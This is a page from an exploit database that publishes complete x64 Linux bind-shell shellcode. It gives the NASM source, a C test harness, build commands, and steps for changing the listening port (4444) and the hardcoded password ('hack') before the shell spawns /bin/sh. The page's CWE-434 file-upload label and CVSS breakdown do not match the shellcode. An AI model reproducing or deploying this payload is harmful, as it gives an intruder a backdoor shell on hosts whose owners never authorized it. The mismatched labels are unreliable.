Exploitalert - Database of Exploits

TCP Bindshell With Password Prompt Shellcode

CVE	Category	Price	Severity
N/A	CWE-434: Unrestricted Upload of File with Dangerous Type	$500	High

Author	Risk	Exploitation Type	Date
unknown	Critical	Local	2016-01-05

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

https://cxsecurity.com/ascii/WLB-2016010021

TCP Bindshell With Password Prompt Shellcode/*--------------------------------------------------------------------------------------------------------------------- /* *Title: tcp bindshell with password prompt in 162 bytes *Author: Sathish kumar *Contact: https://www.linkedin.com/in/sathish94 *Description: x64 Linux bind TCP port shellcode on port 4444 with reconfigurable password *Tested On: Ubuntu 14.04 LTS *SLAE64-1408 *Build/Run: gcc -fno-stack-protector -z execstack bindshell.c -o bindshell * ./bindshell * nc localhost 4444 * */ /* * NOTE: This C code binds on port 4444 * The top of this file contains the .nasm source code * The Port can be Reconfigured According to your needs * Instructions for changing port number * Port obtainer change the port value accorddingly * port.py * import socket * port = 4444 * hex(socket.htons(port)) * python port.py * Result : 0x5c11 * Replace the obtained value in the shellcode to change the port number * For building the from .nasm source use * nasm -felf64 filename.nasm -o filename.o * ld filename.o -o filename * To inspect for nulls * objdump -M intel -D filename.o global _start _start: jmp sock prompt: db 'Passcode' ; initilization of prompt data ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 sock: xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases xor rsi, rsi mul rsi push byte 0x2 ;pusing argument to the stack pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO inc esi ; already rsi is 0 so incrementing the rsi register will make it 1 push byte 0x29 ; pushing the syscall number into the rax by using stack pop rax syscall ; copying the socket descripter from rax to rdi register so that we can use it further xchg rax, rdi ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) ; setting up the data sctructure push 0x2 ;AF_INET value is 2 so we are pushing 0x2 mov word [rsp + 2],0x5c11 ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions push rsp ; saving the complete argument to rsi register pop rsi ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 push rdx ; Inserting the null to the stack push byte 0x10 pop rdx ; value of the rdx register is set to 16 size sockaddr push byte 0x31 pop rax ; rax register is set with 49 syscall for bind syscall ;listen the sockets for the incomming connections ; listen(sock, MAX_CLIENTS) ; syscall number 50 pop rsi push 0x32 pop rax ; rax register is set to 50 syscall for listen syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ;syscall number 43 push 0x2b pop rax ; rax register is set to 43 syscall for accept syscall ; storing the client socket description mov r9, rax ; close parent push 0x3 pop rax ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent syscall xchg rdi , r9 xor rsi , rsi ; initilization of dup2 push 0x3 pop rsi ; setting argument to 3 duplicate: dec esi mov al, 0x21 ;duplicate syscall applied to error,output and input using loop syscall jne duplicate ; Prompt for password xor rax, rax inc al ; rax register to value 1 syscall for write push rax pop rdi ; rdi register to value 1 lea rsi, [rel prompt] xor rdx, rdx ; xor the rdx register to clear the previous values push 0xe pop rdx syscall ; checking the password using read password_check: push rsp pop rsi xor rax, rax ; system read syscall value is 0 so rax is set to 0 syscall push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded pop rax lea rdi, [rel rsi] scasd ; comparing the user input and stored password in the stack jne Exit execve: ; Execve format , execve("/bin/sh", 0 , 0) xor rsi , rsi mul rsi ; zeroed rax , rdx register push ax ; terminate string with null mov rbx , 0x68732f2f6e69622f ; "/bin//sh" in reverse order push rbx push rsp pop rdi ; set RDI push byte 0x3b ; execve syscall number (59) pop rax syscall Exit: ;Exit shellcode if password is wrong push 0x3c pop rax ;syscall number for exit is 60 xor rdi, rdi syscall */ #include<stdio.h> #include<string.h> unsigned char code[] = "\xeb\x08\x50\x61\x73\x73\x63\x6f\x64\x65\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02" //Port number this can be obtained from the above instrcutions "\x11\x5c" "\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\xfe\xc0\x50\x5f\x48\x8d\x35\x9d\xff\xff\xff\x48\x31\xd2\x6a\x0e\x5a\x0f\x05\x54\x5e\x48\x31\xc0\x0f\x05" //Password this can be obtained by /* * python * password = 'hack' * (password[::-1]).encode('hex') * Reuslt : 6b636168 * This is stored in reverse beacuse of stack * * */ "\x68\x68\x61\x63\x6b" "\x58\x48\x8d\x3e\xaf\x75\x1a\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }

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